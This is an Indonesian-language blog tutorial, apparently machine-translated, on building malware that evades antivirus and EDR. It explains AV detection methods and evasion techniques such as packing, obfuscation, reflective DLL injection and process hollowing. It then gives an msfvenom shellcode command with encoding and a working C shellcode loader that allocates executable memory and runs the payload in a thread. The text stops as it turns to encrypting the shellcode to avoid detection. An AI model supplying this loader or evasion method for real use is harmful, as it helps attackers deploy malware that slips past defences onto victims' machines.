Penghindaran AV/EDR | Pengembangan Malware

Feb 18 2023

Halo, Pernahkah Anda berpikir sebelumnya bagaimana peretas dapat Menghindari Solusi Anti-Virus !, Kami akan membangun bersama malware dasar pertama Anda yang dapat menghindari AV dan Memahami beberapa dasar. Untuk membangun malware kita, kita perlu memahami beberapa dasar seperti: 1 — Apa itu Analisis Malware langkah 2 — Bagaimana AV atau Anti-Virus Mendeteksi Program atau Kode Berbahaya3 — Apa itu Teknik Evasion AV (Di Meja — Dalam Memori)4 — Ayo Tulis Malware kami di “C” — Waktu Praktis Apa itu langkah-langkah analisis malware? 1 — Analisis Statis → Pada dasarnya tanpa kerumitan apa pun, ini adalah langkah kita mulai menganalisis malware atau program tanpa membukanya, Kami mencari banyak hal di malware dalam langkah analisis statis seperti (Header PE, String, Informasi File).

Halo, Pernahkah Anda berpikir sebelumnya bagaimana peretas dapat Menghindari Solusi Anti-Virus !, Kami akan membangun bersama malware dasar pertama Anda yang dapat menghindari AV dan Memahami beberapa dasar.

Untuk membangun malware kami, kami perlu memahami beberapa dasar seperti:

1 — Apa itu Analisis Malware langkah
2 — Bagaimana AV atau Anti-Virus Mendeteksi Program atau Kode Berbahaya
3 — Apa itu Teknik Evasion AV (On-Desk — Dalam Memori)
4 — Ayo Tulis Malware kita di “C” — Waktu Praktis

Apa itu langkah-langkah analisis malware?

1 — Analisis Statis → Pada dasarnya tanpa kerumitan apa pun, ini adalah langkah kita mulai menganalisis malware atau program tanpa membukanya, Kami mencari banyak hal di malware dalam langkah analisis statis seperti (Header PE, String, Informasi File).

2 — Analisis Dinamis → Sekarang kami dapat mengatakan bahwa ini adalah proses kami menganalisis malware setelah menjalankan malware, Kami mencari banyak hal seperti "Perubahan sistem" dan kami "Memantau Perilaku" untuk melihat apa yang dilakukan malware.

Pada gambar ini adalah analisis dinamis sederhana yang menganalisis lalu lintas jaringan.

Catatan: Ada 4 langkah setelah ada (Analisis Statis — Analisis Dinamis — Analisis Statis Lanjutan — Analisis Dinamis Lanjutan) Tapi Anda bisa mencari :)

Sekarang kita akan berbicara tentang bagaimana AV Detect Malwares.

Anti-Virus Memiliki 3 langkah utama untuk mendeteksi malware:

1 — Deteksi berbasis tanda tangan → Teknik ini melibatkan pembandingan file dan lalu lintas jaringan ke database tanda tangan malware yang diketahui. Jika ditemukan kecocokan, file atau lalu lintas akan ditandai sebagai berpotensi berbahaya.

Dalam gambar ini Anda akan melihat beberapa hex, misalnya jika AV membandingkan bagian dari hex ini akan mengetahui apakah itu berbahaya…

2 — Deteksi berbasis heuristik → Teknik ini melibatkan penggunaan pembelajaran mesin dan kecerdasan buatan untuk menganalisis perilaku file dan lalu lintas jaringan. Jika file atau lalu lintas menunjukkan perilaku yang mencurigakan, itu mungkin ditandai sebagai berpotensi berbahaya, Anda juga dapat mengatakan bahwa teknik ini adalah membaca instruksi kode.

3 — Deteksi berbasis perilaku → Teknik ini melibatkan analisis perilaku file dan lalu lintas jaringan dari waktu ke waktu untuk mengidentifikasi pola aktivitas berbahaya. Jika file atau lalu lintas menunjukkan perilaku yang sangat berbeda dari yang diharapkan, itu mungkin ditandai sebagai berpotensi berbahaya.

Dalam gambar ini kami memantau tugas, ketika av merasa ada banyak tugas terbuka atau berpotensi berbahaya, itu akan terdeteksi oleh "Deteksi Berbasis Perilaku"

Teknik Evasion AV :

Kami memiliki 2 topik utama (on desk — In memory) seperti :

(1) Di Meja:

Pengemas → Mengemas malware seperti mengompresi file agar berisi instruksi baru dan ukuran file yang akan Menghindari “Deteksi berbasis tanda tangan”
Obfuscator → Ini mengaburkan fungsi yang masuk daftar hitam misalnya (VirtualAlloc — VirtualProtect, dan banyak lagi…) yang akan menghindari "Deteksi Heuristik" sehingga instruksinya tidak dapat dibaca dengan baik dari AV Solution
Pelindung → Yang memperumit proses rekayasa balik malware, The Protectors adalah aplikasi normal yang tidak dirancang untuk digunakan di Evasion tetapi berguna

Injeksi Memori Proses Jarak Jauh: Kami Menyuntikkan Proses atau Muatan Kami Ke Proses Normal, untuk menggunakan teknik ini kami memerlukan beberapa API seperti:

Injeksi DLL Reflektif : Teknik injeksi yang memungkinkan DLL dimuat ke dalam memori proses tanpa memanggil API Windows standar untuk memuat DLL. Ini dapat berguna dalam situasi di mana metode injeksi DLL tradisional tidak dimungkinkan karena pembatasan atau tindakan keamanan. Reflektif DLL Injection bekerja dengan menggunakan teknik yang dikenal sebagai pemetaan manual. Ide dasarnya adalah memetakan DLL ke dalam memori dan menjalankannya secara langsung, tanpa menggunakan panggilan Windows API standar. Ini memungkinkan DLL berjalan tanpa memicu peringatan keamanan atau terdeteksi oleh perangkat lunak anti-virus.

Proses Lekukan: Kami Membuat Proses Palsu Yang Mengambil Ruang Kemudian Kami Menghentikannya Dan Mengubah Isinya Ke Payload Kami Dan Kami Melanjutkan Proses Lagi Dengan Instruksi & Konten Barunya

Inline Hooking : adalah teknik yang melibatkan modifikasi kode suatu proses saat sedang berjalan di memori. Ini dilakukan dengan mengalihkan panggilan fungsi dari kode asli ke lokasi berbeda di memori.

Ada lebih banyak teknik tetapi ini adalah teknik terkenal yang digunakan.

Menulis Malware dasar.

Di malware apa pun, kami mengutamakan kode shell, jadi apa kode shellnya!? → ini adalah beberapa byte yang dapat dipahami oleh CPU & RAM, Kode shell berisi proses yang Anda inginkan dan untuk membuatnya Anda dapat membuka Terminal dan Ketik…

msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c

Jadi Bagaimana cara memasukkannya ke dalam kode c kita?, Dengan mudah Anda akan memasukkannya ke dalam variabel seperti ini:

unsigned char shellcode[] = {"Put here your shellcode"};
unsigned int shellcode_len = sizeof(shellcode); // To get the size of the shellcode

void main() /* The Main Function */

{
        void* exec_mem; // Memory Buffer For Payload/Shellcode 
        HANDLE th; 
        DWORD oldprotect = 0;

        exec_mem = VirtualAlloc(0, shellcode_len , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Allocate a memory buffer for payload */
        RtlMoveMemory(exec_mem, shellcode, shellcode_len); /* Copy/Move payload to buffer or Memory */

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);

    

}

Terdeteksi Benar!

Mengaburkan & Mengenkripsi Malware agar Tidak Terdeteksi.

Jadi, jika Anda menulis kode yang saya sebutkan sebelumnya dan jika Anda mencoba Runit, itu akan memberi tahu Anda bahwa itu adalah virus! jadi apa yang akan kita lakukan?

Hal pertama yang berbahaya adalah kodenya adalah "shellcode" jadi kita perlu mengenkripsi dan mengaburkannya agar tidak dapat dipahami dari AV Solutions jadi kita perlu mengenkripsinya, TAPI BAGAIMANA!?